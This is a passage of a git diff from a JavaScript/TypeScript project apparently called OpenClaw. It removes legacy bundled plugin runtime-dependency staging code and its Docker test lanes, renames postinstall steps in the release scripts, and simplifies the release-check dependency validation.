`.openclaw-runtime-deps-stamp-${sanitizeTempPrefixSegment(path.basename(targetPath))}-`, - ); - const tempPath = path.join(tempDir, path.basename(targetPath)); - try { - fs.writeFileSync(tempPath, `${JSON.stringify(value, null, 2)}\n`, { - encoding: "utf8", - flag: "wx", - }); - fs.renameSync(tempPath, targetPath); - } finally { - removeOwnedTempPathBestEffort(tempDir); - } -} - -function readRuntimeDepsTempOwner(tempDir) { - try { - const owner = readJson(path.join(tempDir, TEMP_OWNER_FILE)); - return owner && typeof owner === "object" ? owner : null; - } catch { - return null; - } -} - -function isLiveProcess(pid) { - if (!Number.isInteger(pid) || pid <= 0) { - return false; - } - try { - process.kill(pid, 0); - return true; - } catch (error) { - return error?.code === "EPERM"; - } -} - -function shouldRemoveRuntimeDepsTempDir(tempDir) { - const owner = readRuntimeDepsTempOwner(tempDir); - if (!owner || typeof owner.pid !== "number") { - return true; - } - return !isLiveProcess(owner.pid); -} - -export function removeStaleRuntimeDepsTempDirs(pluginDir) { - if (!fs.existsSync(pluginDir)) { - return; - } - for (const entry of fs.readdirSync(pluginDir, { withFileTypes: true })) { - if (entry.name.startsWith(".openclaw-runtime-deps-")) { - const targetPath = path.join(pluginDir, entry.name); - if (!shouldRemoveRuntimeDepsTempDir(targetPath)) { - continue; - } - removeOwnedTempPathBestEffort(targetPath); - } - } -} diff --git a/scripts/lib/bundled-runtime-deps-stamp.mjs b/scripts/lib/bundled-runtime-deps-stamp.mjs deleted file mode 100644 index 52d2d5b89da..00000000000 --- a/scripts/lib/bundled-runtime-deps-stamp.mjs +++ /dev/null @@ -1,76 +0,0 @@ -import { createHash } from "node:crypto"; -import fs from "node:fs"; -import path from "node:path"; -import { sanitizeTempPrefixSegment } from "./bundled-runtime-deps-stage-state.mjs"; - -const runtimeDepsStagingVersion = 7; - -function readJson(filePath) { - return JSON.parse(fs.readFileSync(filePath, "utf8")); -} - -function readOptionalUtf8(filePath) { - if (!fs.existsSync(filePath)) { - return null; - } - return fs.readFileSync(filePath, "utf8"); -} - -export function resolveLegacyRuntimeDepsStampPath(pluginDir) { - return path.join(pluginDir, ".openclaw-runtime-deps-stamp.json"); -} - -export function resolveRuntimeDepsStampPath(repoRoot, pluginId) { - return path.join( - repoRoot, - ".artifacts", - "bundled-runtime-deps-stamps", - `${sanitizeTempPrefixSegment(pluginId)}.json`, - ); -} - -export function createRuntimeDepsFingerprint(packageJson, pruneConfig, params = {}) { - return createHash("sha256") - .update( - JSON.stringify({ - cheapFingerprint: createRuntimeDepsCheapFingerprint(packageJson, pruneConfig, params), - rootInstalledRuntimeFingerprint: params.rootInstalledRuntimeFingerprint ?? null, - }), - ) - .digest("hex"); -} - -export function createRuntimeDepsCheapFingerprint(packageJson, pruneConfig, params = {}) { - const repoRoot = params.repoRoot; - const lockfilePath = - typeof repoRoot === "string" && repoRoot.length > 0 - ? path.join(repoRoot, "pnpm-lock.yaml") - : null; - const rootLockfile = lockfilePath ? readOptionalUtf8(lockfilePath) : null; - return createHash("sha256") - .update( - JSON.stringify({ - globalPruneDirectories: pruneConfig.globalPruneDirectories, - globalPruneFilePatterns: pruneConfig.globalPruneFilePatterns.map((pattern) => - pattern.toString(), - ), - globalPruneSuffixes: pruneConfig.globalPruneSuffixes, - packageJson, - pruneRules: [...pruneConfig.pruneRules.entries()], - rootLockfile, - version: runtimeDepsStagingVersion, - }), - ) - .digest("hex"); -} - -export function readRuntimeDepsStamp(stampPath) { - if (!fs.existsSync(stampPath)) { - return null; - } - try { - return readJson(stampPath); - } catch { - return null; - } -} diff --git a/scripts/lib/dependency-ownership.json b/scripts/lib/dependency-ownership.json index 9eb424c8f4b..30bff124a36 100644 --- a/scripts/lib/dependency-ownership.json +++ b/scripts/lib/dependency-ownership.json @@ -142,6 +142,11 @@ "class": "default-runtime-initially", "risk": ["provider-sdk", "network"] }, + "playwright-core": { + "owner": "core:browser", + "class": "core-runtime", + "risk": ["browser-automation", "cdp"] + }, "pdfjs-dist": { "owner": "plugin:document-extract", "class": "plugin-runtime", @@ -158,11 +163,6 @@ "class": "default-runtime-initially", "risk": ["terminal-rendering", "png-encoding"] }, - "semver": { - "owner": "core:package-versioning", - "class": "core-runtime", - "risk": ["version-parser"] - }, "sharp": { "owner": "plugin:media-understanding-core", "class": "plugin-runtime", diff --git a/scripts/lib/docker-e2e-plan.mjs b/scripts/lib/docker-e2e-plan.mjs index b767aea253b..596f75ee911 100644 --- a/scripts/lib/docker-e2e-plan.mjs +++ b/scripts/lib/docker-e2e-plan.mjs @@ -36,7 +36,6 @@ export function parseLaneSelection(raw) { return []; } const laneAliases = new Map([ - ["bundled-channel-deps", ["bundled-channel-deps-compat"]], ["install-e2e", ["install-e2e-openai", "install-e2e-anthropic"]], [ "bundled-plugin-install-uninstall", diff --git a/scripts/lib/docker-e2e-scenarios.mjs b/scripts/lib/docker-e2e-scenarios.mjs index 2b42a858cba..531aabf7b97 100644 --- a/scripts/lib/docker-e2e-scenarios.mjs +++ b/scripts/lib/docker-e2e-scenarios.mjs @@ -2,8 +2,6 @@ // Keep lane names, commands, image kind, timeout, resources, and release chunks // here. Planning and execution live in separate modules. -const BUNDLED_UPDATE_NO_OUTPUT_TIMEOUT_MS = 4 * 60 * 1000; -const BUNDLED_UPDATE_TIMEOUT_MS = 6 * 60 * 1000; export const DEFAULT_LIVE_RETRIES = 1; const LIVE_ACP_TIMEOUT_MS = 20 * 60 * 1000; const LIVE_CLI_TIMEOUT_MS = 20 * 60 * 1000; @@ -21,9 +19,6 @@ export const LIVE_RETRY_PATTERNS = [ /ECONNRESET|ETIMEDOUT|ENOTFOUND/i, ]; -const bundledChannelLaneCommand = - "OPENCLAW_SKIP_DOCKER_BUILD=1 OPENCLAW_BUNDLED_CHANNEL_UPDATE_SCENARIO=0 OPENCLAW_BUNDLED_CHANNEL_ROOT_OWNED_SCENARIO=0 OPENCLAW_BUNDLED_CHANNEL_SETUP_ENTRY_SCENARIO=0 OPENCLAW_BUNDLED_CHANNEL_LOAD_FAILURE_SCENARIO=0 OPENCLAW_BUNDLED_CHANNEL_DISABLED_CONFIG_SCENARIO=0 pnpm test:docker:bundled-channel-deps"; - function liveDockerScriptCommand(script, envPrefix = "") { const prefix = envPrefix ? `${envPrefix} ` : ""; return `${prefix}OPENCLAW_SKIP_DOCKER_BUILD=1 bash -c 'harness="\${OPENCLAW_DOCKER_E2E_TRUSTED_HARNESS_DIR:-}"; if [ -z "$harness" ]; then if [ -d .release-harness/scripts ]; then harness=.release-harness; else harness=.; fi; fi; OPENCLAW_LIVE_DOCKER_REPO_ROOT="\${OPENCLAW_DOCKER_E2E_REPO_ROOT:-$PWD}" bash "$harness/scripts/${script}"'`; @@ -108,72 +103,6 @@ function serviceLane(name, command, options = {}) { }); } -function bundledChannelScenarioLane(name, env, options = {}) { - return npmLane( - name, - `${env} OPENCLAW_SKIP_DOCKER_BUILD=1 pnpm test:docker:bundled-channel-deps`, - options, - ); -} - -const bundledChannelSmokeLanes = ["telegram", "discord", "slack", "feishu", "memory-lancedb"].map( - (channel) => - npmLane( - `bundled-channel-${channel}`, - `OPENCLAW_BUNDLED_CHANNELS=${channel} ${bundledChannelLaneCommand}`, - { stateScenario: "empty" }, - ), -); - -const bundledChannelUpdateLanes = [ - "telegram", - "discord", - "slack", - "feishu", - "memory-lancedb", - "acpx", -].map((target) => - bundledChannelScenarioLane( - `bundled-channel-update-${target}`, - `OPENCLAW_BUNDLED_CHANNEL_SCENARIOS=0 OPENCLAW_BUNDLED_CHANNEL_UPDATE_SCENARIO=1 OPENCLAW_BUNDLED_CHANNEL_UPDATE_TARGETS=${target} OPENCLAW_BUNDLED_CHANNEL_ROOT_OWNED_SCENARIO=0 OPENCLAW_BUNDLED_CHANNEL_SETUP_ENTRY_SCENARIO=0 OPENCLAW_BUNDLED_CHANNEL_LOAD_FAILURE_SCENARIO=0 OPENCLAW_BUNDLED_CHANNEL_DISABLED_CONFIG_SCENARIO=0`, - { - noOutputTimeoutMs: BUNDLED_UPDATE_NO_OUTPUT_TIMEOUT_MS, - retryPatterns: LIVE_RETRY_PATTERNS, - retries: 1, - stateScenario: "empty", - timeoutMs: BUNDLED_UPDATE_TIMEOUT_MS, - }, - ), -); - -const bundledChannelContractLanes = [ - bundledChannelScenarioLane( - "bundled-channel-root-owned", - "OPENCLAW_BUNDLED_CHANNEL_SCENARIOS=0 OPENCLAW_BUNDLED_CHANNEL_UPDATE_SCENARIO=0 OPENCLAW_BUNDLED_CHANNEL_ROOT_OWNED_SCENARIO=1 OPENCLAW_BUNDLED_CHANNEL_SETUP_ENTRY_SCENARIO=0 OPENCLAW_BUNDLED_CHANNEL_LOAD_FAILURE_SCENARIO=0 OPENCLAW_BUNDLED_CHANNEL_DISABLED_CONFIG_SCENARIO=0", - ), - bundledChannelScenarioLane( - "bundled-channel-setup-entry", - "OPENCLAW_BUNDLED_CHANNEL_SCENARIOS=0 OPENCLAW_BUNDLED_CHANNEL_UPDATE_SCENARIO=0 OPENCLAW_BUNDLED_CHANNEL_ROOT_OWNED_SCENARIO=0 OPENCLAW_BUNDLED_CHANNEL_SETUP_ENTRY_SCENARIO=1 OPENCLAW_BUNDLED_CHANNEL_LOAD_FAILURE_SCENARIO=0 OPENCLAW_BUNDLED_CHANNEL_DISABLED_CONFIG_SCENARIO=0", - { stateScenario: "empty" }, - ), - bundledChannelScenarioLane( - "bundled-channel-load-failure", - "OPENCLAW_BUNDLED_CHANNEL_SCENARIOS=0 OPENCLAW_BUNDLED_CHANNEL_UPDATE_SCENARIO=0 OPENCLAW_BUNDLED_CHANNEL_ROOT_OWNED_SCENARIO=0 OPENCLAW_BUNDLED_CHANNEL_SETUP_ENTRY_SCENARIO=0 OPENCLAW_BUNDLED_CHANNEL_LOAD_FAILURE_SCENARIO=1 OPENCLAW_BUNDLED_CHANNEL_DISABLED_CONFIG_SCENARIO=0", - { stateScenario: "empty" }, - ), - bundledChannelScenarioLane( - "bundled-channel-disabled-config", - "OPENCLAW_BUNDLED_CHANNEL_SCENARIOS=0 OPENCLAW_BUNDLED_CHANNEL_UPDATE_SCENARIO=0 OPENCLAW_BUNDLED_CHANNEL_ROOT_OWNED_SCENARIO=0 OPENCLAW_BUNDLED_CHANNEL_SETUP_ENTRY_SCENARIO=0 OPENCLAW_BUNDLED_CHANNEL_LOAD_FAILURE_SCENARIO=0 OPENCLAW_BUNDLED_CHANNEL_DISABLED_CONFIG_SCENARIO=1", - { stateScenario: "empty" }, - ), -]; - -const bundledScenarioLanes = [ - ...bundledChannelSmokeLanes, - ...bundledChannelUpdateLanes, - ...bundledChannelContractLanes, -]; - const bundledPluginInstallUninstallLanes = Array.from( { length: BUNDLED_PLUGIN_INSTALL_UNINSTALL_SHARDS }, (_, index) => @@ -313,18 +242,12 @@ export const mainLanes = [ weight: 6, }, ), - npmLane( - "bundled-channel-deps-compat", - "OPENCLAW_SKIP_DOCKER_BUILD=1 pnpm test:docker:bundled-channel-deps:fast", - { resources: ["service"], stateScenario: "empty", weight: 3 }, - ), npmLane("plugin-update", "OPENCLAW_SKIP_DOCKER_BUILD=1 pnpm test:docker:plugin-update", { stateScenario: "empty", }), serviceLane("config-reload", "OPENCLAW_SKIP_DOCKER_BUILD=1 pnpm test:docker:config-reload", { stateScenario: "empty", }), - ...bundledScenarioLanes, lane("openai-image-auth", "OPENCLAW_SKIP_DOCKER_BUILD=1 pnpm test:docker:openai-image-auth", { stateScenario: "empty", }), @@ -504,7 +427,6 @@ const releasePathBundledChannelLanes = [ npmLane("plugin-update", "OPENCLAW_SKIP_DOCKER_BUILD=1 pnpm test:docker:plugin-update", { stateScenario: "empty", }), - ...bundledScenarioLanes, ]; const releasePathPackageInstallOpenAiLanes = [ @@ -606,15 +528,6 @@ const primaryReleasePathChunks = { "plugins-runtime-install-f": bundledPluginInstallUninstallLanes.slice(15, 18), "plugins-runtime-install-g": bundledPluginInstallUninstallLanes.slice(18, 21), "plugins-runtime-install-h": bundledPluginInstallUninstallLanes.slice(21), - "bundled-channels-core": [releasePathBundledChannelLanes[0], ...bundledChannelSmokeLanes], - "bundled-channels-update-a": [bundledChannelUpdateLanes[0], bundledChannelUpdateLanes[4]], - "bundled-channels-update-discord": [bundledChannelUpdateLanes[1]], - "bundled-channels-update-b": [ - bundledChannelUpdateLanes[2], - bundledChannelUpdateLanes[3], - bundledChannelUpdateLanes[5], - ], - "bundled-channels-contracts": bundledChannelContractLanes, openwebui: [], }; @@ -628,11 +541,6 @@ const legacyReleasePathChunks = { "plugins-runtime": releasePathPluginRuntimeLanes, "plugins-integrations": [...releasePathPluginRuntimeLanes, ...releasePathBundledChannelLanes], "bundled-channels": releasePathBundledChannelLanes, - "bundled-channels-update-a-legacy": [ - bundledChannelUpdateLanes[0], - bundledChannelUpdateLanes[1], - bundledChannelUpdateLanes[4], - ], }; function openWebUILane() { diff --git a/scripts/lib/optional-bundled-clusters-types.d.ts b/scripts/lib/optional-bundled-clusters-types.d.ts index 7ba3dddcb59..8deff6cad4e 100644 --- a/scripts/lib/optional-bundled-clusters-types.d.ts +++ b/scripts/lib/optional-bundled-clusters-types.d.ts @@ -4,6 +4,7 @@ export const OPTIONAL_BUNDLED_BUILD_ENV: "OPENCLAW_INCLUDE_OPTIONAL_BUNDLED"; export function isOptionalBundledCluster(cluster: string): boolean; export function shouldIncludeOptionalBundledClusters(env?: NodeJS.ProcessEnv): boolean; export function hasReleasedBundledInstall(packageJson: unknown): boolean; +export function isExplicitlyDownloadablePlugin(packageJson: unknown): boolean; export function shouldBuildBundledCluster( cluster: string, env?: NodeJS.ProcessEnv, diff --git a/scripts/lib/optional-bundled-clusters.mjs b/scripts/lib/optional-bundled-clusters.mjs index a3aa7f2c609..95c4c6d57dc 100644 --- a/scripts/lib/optional-bundled-clusters.mjs +++ b/scripts/lib/optional-bundled-clusters.mjs @@ -35,7 +35,14 @@ export function hasReleasedBundledInstall(packageJson) { ); } +export function isExplicitlyDownloadablePlugin(packageJson) { + return packageJson?.openclaw?.bundle?.includeInCore === false; +} + export function shouldBuildBundledCluster(cluster, env = process.env, options = {}) { + if (isExplicitlyDownloadablePlugin(options.packageJson)) { + return false; + } if (hasReleasedBundledInstall(options.packageJson)) { return true; } diff --git a/scripts/lib/plugin-prerelease-test-plan.mjs b/scripts/lib/plugin-prerelease-test-plan.mjs index 54d6fc962e4..cf0ece6365b 100644 --- a/scripts/lib/plugin-prerelease-test-plan.mjs +++ b/scripts/lib/plugin-prerelease-test-plan.mjs @@ -5,7 +5,7 @@ export const PLUGIN_PRERELEASE_REQUIRED_SURFACES = Object.freeze([ "bundled-lifecycle", "external-plugins", "update-no-op", - "channel-runtime-deps", + "installed-plugin-deps", "doctor-fix", "config-round-trip", "gateway-bootstrap", @@ -29,11 +29,7 @@ const pluginPrereleaseDockerLanes = Object.freeze([ }, { lane: "update-channel-switch", - surfaces: ["package-artifact", "channel-runtime-deps", "update-no-op"], - }, - { - lane: "bundled-channel-deps-compat", - surfaces: ["package-artifact", "channel-runtime-deps", "gateway-bootstrap"], + surfaces: ["package-artifact", "installed-plugin-deps", "update-no-op"], }, { lane: "plugins-offline", diff --git a/scripts/openclaw-cross-os-release-checks.ts b/scripts/openclaw-cross-os-release-checks.ts index f9c10ba652c..ea89ba05a9f 100644 --- a/scripts/openclaw-cross-os-release-checks.ts +++ b/scripts/openclaw-cross-os-release-checks.ts @@ -20,7 +20,7 @@ import { createConnection as createNetConnection, createServer as createNetServe import { tmpdir } from "node:os"; import { dirname, join, resolve, win32 as pathWin32 } from "node:path"; import { fileURLToPath, pathToFileURL } from "node:url"; -import { assertNoBundledRuntimeDepsStagingDebris } from "../src/infra/package-dist-inventory.ts"; +import { assertNoLegacyPluginDependencyStagingDebris } from "../src/infra/package-dist-inventory.ts"; import { isLocalBuildMetadataDistPath } from "./lib/local-build-metadata-paths.mjs"; const SCRIPT_PATH = fileURLToPath(import.meta.url); @@ -521,7 +521,7 @@ function isPackagedDistPath(relativePath) { } export async function writePackageDistInventoryForCandidate(params) { - await assertNoBundledRuntimeDepsStagingDebris(params.sourceDir); + await assertNoLegacyPluginDependencyStagingDebris(params.sourceDir); const dryRun = await runCommand( npmCommand(), ["pack", "--dry-run", "--ignore-scripts", "--json"], @@ -585,11 +585,11 @@ async function runFreshLane(params) { env, tgzPath: params.build.candidateTgz, logPath: join(params.logsDir, "fresh-install.log"), - restoreBundledPluginRuntimeDeps: false, + restoreBundledPluginPostinstall: false, }); const installed = readInstalledMetadata(lane.prefixDir); verifyInstalledCandidate(installed, params.build); - logLanePhase(lane, "restore-bundled-plugin-runtime-deps"); + logLanePhase(lane, "run-bundled-plugin-postinstall"); await runBundledPluginPostinstall({ lane, env, @@ -691,10 +691,10 @@ async function runUpgradeLane(params) { env, tgzPath: params.baselineTgz, logPath: join(params.logsDir, "upgrade-install-baseline.log"), - restoreBundledPluginRuntimeDeps: false, + restoreBundledPluginPostinstall: false, }); } - logLanePhase(lane, "restore-baseline-bundled-plugin-runtime-deps"); + logLanePhase(lane, "run-baseline-bundled-plugin-postinstall"); await runBundledPluginPostinstall({ lane, env, @@ -736,7 +736,7 @@ async function runUpgradeLane(params) { logPath: join(params.logsDir, "upgrade-update-status.log"), timeoutMs: 2 * 60 * 1000, }); - logLanePhase(lane, "restore-bundled-plugin-runtime-deps"); + logLanePhase(lane, "run-bundled-plugin-postinstall"); await runBundledPluginPostinstall({ lane, env, @@ -1215,7 +1215,7 @@ export function shouldStopManagedGatewayBeforeManualFallback(platform = process. return shouldUseManagedGatewayService(platform); } -function shouldRestoreBundledPluginRuntimeDeps() { +function shouldRunBundledPluginPostinstall() { return true; } @@ -2235,8 +2235,8 @@ async function installTarballPackage(params) { timeoutMs: params.timeoutMs, }); if ( - params.restoreBundledPluginRuntimeDeps !== false && - shouldRestoreBundledPluginRuntimeDeps({ lane: params.lane }) + params.restoreBundledPluginPostinstall !== false && + shouldRunBundledPluginPostinstall({ lane: params.lane }) ) { await runBundledPluginPostinstall({ lane: params.lane, @@ -2689,7 +2689,7 @@ function buildReleaseAgentTurnArgs(sessionId) { export function shouldRetryCrossOsAgentTurnError(error) { const message = error instanceof Error ? error.message : String(error); - return /failed to (?:install|stage) bundled runtime deps|failed to stage bundled runtime deps after|Agent output did not contain the expected OK marker|model idle timeout|did not produce a response before the model idle timeout|gateway request timeout for agent|Command timed out|timed out and could not be terminated cleanly/u.test( + return /Agent output did not contain the expected OK marker|model idle timeout|did not produce a response before the model idle timeout|gateway request timeout for agent|Command timed out|timed out and could not be terminated cleanly/u.test( message, ); } diff --git a/scripts/openclaw-npm-postpublish-verify.ts b/scripts/openclaw-npm-postpublish-verify.ts index 5aef138976b..253601a86ea 100644 --- a/scripts/openclaw-npm-postpublish-verify.ts +++ b/scripts/openclaw-npm-postpublish-verify.ts @@ -19,8 +19,6 @@ import { formatErrorMessage } from "../src/infra/errors.ts"; import { BUNDLED_RUNTIME_SIDECAR_PATHS } from "../src/plugins/runtime-sidecar-paths.ts"; import { listBundledPluginPackArtifacts } from "./lib/bundled-plugin-build-entries.mjs"; import { - collectBundledPluginRootRuntimeMirrorErrors, - collectRootDistBundledRuntimeMirrors, collectRuntimeDependencySpecs, packageNameFromSpecifier, } from "./lib/bundled-plugin-root-runtime-mirrors.mjs"; @@ -112,7 +110,6 @@ export function collectInstalledPackageErrors(params: { errors.push(...collectInstalledContextEngineRuntimeErrors(params.packageRoot)); errors.push(...collectInstalledRootDependencyManifestErrors(params.packageRoot)); - errors.push(...collectInstalledMirroredRootDependencyManifestErrors(params.packageRoot)); return errors; } @@ -440,52 +437,6 @@ function readBundledExtensionPackageJsons(packageRoot: string): { return { manifests, errors }; } -export function collectInstalledMirroredRootDependencyManifestErrors( - packageRoot: string, -): string[] { - const packageJsonPath = join(packageRoot, "package.json"); - if (!existsSync(packageJsonPath)) { - return ["installed package is missing package.json."]; - } - - const rootPackageJson = JSON.parse(readFileSync(packageJsonPath, "utf8")) as InstalledPackageJson; - const { manifests, errors } = readBundledExtensionPackageJsons(packageRoot); - const bundledRuntimeDependencySpecs = new Map< - string, - { conflicts: Array<{ pluginId: string; spec: string }>; pluginIds: string[]; spec: string } - >(); - - for (const { id, manifest: extensionPackageJson } of manifests) { - const extensionRuntimeDeps = collectRuntimeDependencySpecs(extensionPackageJson); - for (const [dependencyName, spec] of extensionRuntimeDeps) { - const existing = bundledRuntimeDependencySpecs.get(dependencyName); - if (existing) { - if (existing.spec !== spec) { - existing.conflicts.push({ pluginId: id, spec }); - } else if (!existing.pluginIds.includes(id)) { - existing.pluginIds.push(id); - } - continue; - } - bundledRuntimeDependencySpecs.set(dependencyName, { conflicts: [], pluginIds: [id], spec }); - } - } - - const requiredRootMirrors = collectRootDistBundledRuntimeMirrors({ - bundledRuntimeDependencySpecs, - distDir: join(packageRoot, "dist"), - }); - errors.push( - ...collectBundledPluginRootRuntimeMirrorErrors({ - bundledRuntimeDependencySpecs, - requiredRootMirrors, - rootPackageJson, - }), - ); - - return errors; -} - function npmExec(args: string[], cwd: string): string { const invocation = resolveNpmCommandInvocation({ npmExecPath: process.env.npm_execpath, diff --git a/scripts/openclaw-npm-release-check.ts b/scripts/openclaw-npm-release-check.ts index b45e37374b1..a9cf59493d2 100644 --- a/scripts/openclaw-npm-release-check.ts +++ b/scripts/openclaw-npm-release-check.ts @@ -66,7 +66,6 @@ const MAX_CALVER_DISTANCE_DAYS = 2; const REQUIRED_PACKED_PATHS = [ PACKAGE_DIST_INVENTORY_RELATIVE_PATH, "dist/control-ui/index.html", - "scripts/lib/bundled-runtime-deps-install.mjs", ...WORKSPACE_TEMPLATE_PACK_PATHS, ]; const CONTROL_UI_ASSET_PREFIX = "dist/control-ui/assets/"; diff --git a/scripts/postinstall-bundled-plugins.mjs b/scripts/postinstall-bundled-plugins.mjs index 6be66047e43..841affc1b2a 100644 --- a/scripts/postinstall-bundled-plugins.mjs +++ b/scripts/postinstall-bundled-plugins.mjs @@ -1,8 +1,7 @@ #!/usr/bin/env node // Runs after install to keep packaged dist safe and compatible. -// Bundled extension runtime dependencies are extension-owned. `openclaw doctor -// --fix` and `openclaw plugins deps --repair` own the repair path for plugins -// that are actually used. +// Keep packaged dist safe and compatible. Plugin package dependencies are +// installed only by explicit plugin install/update flows, never postinstall. import { randomUUID } from "node:crypto"; import { chmodSync, @@ -24,7 +23,6 @@ import { basename, dirname, isAbsolute, join, posix, relative } from "node:path" import { fileURLToPath, pathToFileURL } from "node:url"; const __dirname = dirname(fileURLToPath(import.meta.url)); -const DEFAULT_EXTENSIONS_DIR = join(__dirname, "..", "dist", "extensions"); const DEFAULT_PACKAGE_ROOT = join(__dirname, ".."); const DISABLE_POSTINSTALL_ENV = "OPENCLAW_DISABLE_BUNDLED_PLUGIN_POSTINSTALL"; const DISABLE_PLUGIN_REGISTRY_MIGRATION_ENV = "OPENCLAW_DISABLE_PLUGIN_REGISTRY_MIGRATION"; @@ -105,10 +103,6 @@ function hasEnvFlag(env, key) { return Boolean(value && value !== "0" && value !== "false" && value !== "no"); } -function readJson(filePath) { - return JSON.parse(readFileSync(filePath, "utf8")); -} - function normalizeRelativePath(filePath) { return filePath.replace(/\\/g, "/"); } @@ -453,71 +447,6 @@ export function pruneInstalledPackageDist(params = {}) { return removed; } -function dependencySentinelPath(depName) { - return join("node_modules", ...depName.split("/"), "package.json"); -} - -function collectRuntimeDeps(packageJson) { - return { - ...packageJson.dependencies, - ...packageJson.optionalDependencies, - }; -} - -export function discoverBundledPluginRuntimeDeps(params = {}) { - const extensionsDir = params.extensionsDir ?? DEFAULT_EXTENSIONS_DIR; - const pathExists = params.existsSync ?? existsSync; - const readDir = params.readdirSync ?? readdirSync; - const readJsonFile = params.readJson ?? readJson; - const deps = new Map(); - - if (!pathExists(extensionsDir)) { - return [...deps.values()].toSorted((a, b) => a.name.localeCompare(b.name)); - } - - for (const entry of readDir(extensionsDir, { withFileTypes: true })) { - if (!entry.isDirectory()) { - continue; - } - const pluginId = entry.name; - const packageJsonPath = join(extensionsDir, pluginId, "package.json"); - if (!pathExists(packageJsonPath)) { - continue; - } - try { - const packageJson = readJsonFile(packageJsonPath); - for (const [name, version] of Object.entries(collectRuntimeDeps(packageJson))) { - const existing = deps.get(name); - if (existing) { - if (existing.version !== version) { - continue; - } - if (!existing.pluginIds.includes(pluginId)) { - existing.pluginIds.push(pluginId); - } - continue; - } - deps.set(name, { - name, - version, - sentinelPath: dependencySentinelPath(name), - pluginIds: [pluginId], - }); - } - } catch { - // Ignore malformed plugin manifests; runtime will surface those separately. - } - } - - return [...deps.values()] - .map((dep) => - Object.assign({}, dep, { - pluginIds: [...dep.pluginIds].toSorted((a, b) => a.localeCompare(b)), - }), - ) - .toSorted((a, b) => a.name.localeCompare(b.name)); -} - export function applyBaileysEncryptedStreamFinishHotfix(params = {}) { const packageRoot = params.packageRoot ?? DEFAULT_PACKAGE_ROOT; const pathExists = params.existsSync ?? existsSync; diff --git a/scripts/release-check.ts b/scripts/release-check.ts index 903120a6040..1db25052a72 100755 --- a/scripts/release-check.ts +++ b/scripts/release-check.ts @@ -6,7 +6,6 @@ import { lstatSync, mkdtempSync, mkdirSync, - realpathSync, readdirSync, readFileSync, rmSync, @@ -17,15 +16,11 @@ import { dirname, join, resolve } from "node:path"; import { pathToFileURL } from "node:url"; import { COMPLETION_SKIP_PLUGIN_COMMANDS_ENV } from "../src/cli/completion-runtime.ts"; import { - isBundledRuntimeDepsInstallStagePath, + isLegacyPluginDependencyInstallStagePath, LOCAL_BUILD_METADATA_DIST_PATHS, PACKAGE_DIST_INVENTORY_RELATIVE_PATH, writePackageDistInventory, } from "../src/infra/package-dist-inventory.ts"; -import { - resolveBundledRuntimeDependencyInstallRoot, - resolveBundledRuntimeDependencyPackageInstallRoot, -} from "../src/plugins/bundled-runtime-deps-roots.ts"; import { checkCliBootstrapExternalImports } from "./check-cli-bootstrap-imports.mjs"; import { collectBundledExtensionManifestErrors, @@ -33,32 +28,19 @@ import { type ExtensionPackageJson as PackageJson, } from "./lib/bundled-extension-manifest.ts"; import { listBundledPluginPackArtifacts } from "./lib/bundled-plugin-build-entries.mjs"; -import { - collectBuiltBundledPluginStagedRuntimeDependencyErrors, - collectBundledPluginRootRuntimeMirrorErrors, - collectBundledPluginRuntimeDependencySpecs, - collectDeclaredRootRuntimeDependencyMetadataErrors, - collectRootDistBundledRuntimeMirrors, -} from "./lib/bundled-plugin-root-runtime-mirrors.mjs"; +import { collectBundledPluginRuntimeDependencySpecs } from "./lib/bundled-plugin-root-runtime-mirrors.mjs"; import { collectPackUnpackedSizeErrors as collectNpmPackUnpackedSizeErrors } from "./lib/npm-pack-budget.mjs"; import { listPluginSdkDistArtifacts } from "./lib/plugin-sdk-entries.mjs"; import { runInstalledWorkspaceBootstrapSmoke, WORKSPACE_TEMPLATE_PACK_PATHS, } from "./lib/workspace-bootstrap-smoke.mjs"; -import { discoverBundledPluginRuntimeDeps } from "./postinstall-bundled-plugins.mjs"; import { listStaticExtensionAssetOutputs } from "./runtime-postbuild.mjs"; import { sparkleBuildFloorsFromShortVersion, type SparkleBuildFloors } from "./sparkle-build.ts"; import { buildCmdExeCommandLine } from "./windows-cmd-helpers.mjs"; export { collectBundledExtensionManifestErrors } from "./lib/bundled-extension-manifest.ts"; -export { - collectBuiltBundledPluginStagedRuntimeDependencyErrors, - collectBundledPluginRootRuntimeMirrorErrors, - collectDeclaredRootRuntimeDependencyMetadataErrors, - collectRootDistBundledRuntimeMirrors, - packageNameFromSpecifier, -} from "./lib/bundled-plugin-root-runtime-mirrors.mjs"; +export { packageNameFromSpecifier } from "./lib/bundled-plugin-root-runtime-mirrors.mjs"; type PackFile = { path: string }; type PackResult = { files?: PackFile[]; filename?: string; unpackedSize?: number }; @@ -73,7 +55,6 @@ const requiredPathGroups = [ ...WORKSPACE_TEMPLATE_PACK_PATHS, "scripts/npm-runner.mjs", "scripts/preinstall-package-manager-warning.mjs", - "scripts/lib/bundled-runtime-deps-install.mjs", "scripts/lib/package-dist-imports.mjs", "scripts/postinstall-bundled-plugins.mjs", "dist/plugin-sdk/compat.js", @@ -166,32 +147,18 @@ function collectBundledExtensions(): BundledExtension[] { function checkBundledExtensionMetadata() { const extensions = collectBundledExtensions(); const manifestErrors = collectBundledExtensionManifestErrors(extensions); - const rootPackage = JSON.parse(readFileSync(resolve("package.json"), "utf8")) as { - dependencies?: Record; - optionalDependencies?: Record; - }; const bundledRuntimeDependencySpecs = collectBundledPluginRuntimeDependencySpecs( resolve("extensions"), ); - const requiredRootMirrors = collectRootDistBundledRuntimeMirrors({ - bundledRuntimeDependencySpecs, - distDir: resolve("dist"), - }); - const rootMirrorErrors = collectBundledPluginRootRuntimeMirrorErrors({ - bundledRuntimeDependencySpecs, - requiredRootMirrors, - rootPackageJson: rootPackage, - }); - const rootMirrorMetadataErrors = collectDeclaredRootRuntimeDependencyMetadataErrors(rootPackage); - const builtArtifactErrors = collectBuiltBundledPluginStagedRuntimeDependencyErrors({ - bundledPluginsDir: resolve("dist/extensions"), - }); - const errors = [ - ...manifestErrors, - ...rootMirrorErrors, - ...rootMirrorMetadataErrors, - ...builtArtifactErrors, - ]; + const dependencyConflictErrors = [...bundledRuntimeDependencySpecs.entries()] + .flatMap(([dependencyName, record]) => + record.conflicts.map( + (conflict) => + `bundled runtime dependency '${dependencyName}' has conflicting plugin specs: ${record.pluginIds.join(", ")} use '${record.spec}', ${conflict.pluginId} uses '${conflict.spec}'.`, + ), + ) + .toSorted((left, right) => left.localeCompare(right)); + const errors = [...manifestErrors, ...dependencyConflictErrors]; if (errors.length > 0) { console.error("release-check: bundled extension manifest validation failed:"); for (const error of errors) { @@ -346,107 +313,6 @@ function 